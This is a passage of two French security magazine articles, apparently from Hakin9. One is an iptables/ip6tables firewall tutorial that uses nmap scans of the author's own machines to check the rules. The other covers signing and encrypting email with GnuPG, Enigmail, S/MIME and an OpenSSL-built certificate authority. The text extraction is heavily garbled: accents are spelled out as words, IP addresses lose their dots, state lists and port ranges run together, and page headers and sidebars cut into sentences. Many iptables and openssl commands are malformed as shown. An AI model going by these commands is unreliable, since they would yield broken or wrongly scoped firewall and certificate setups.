Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

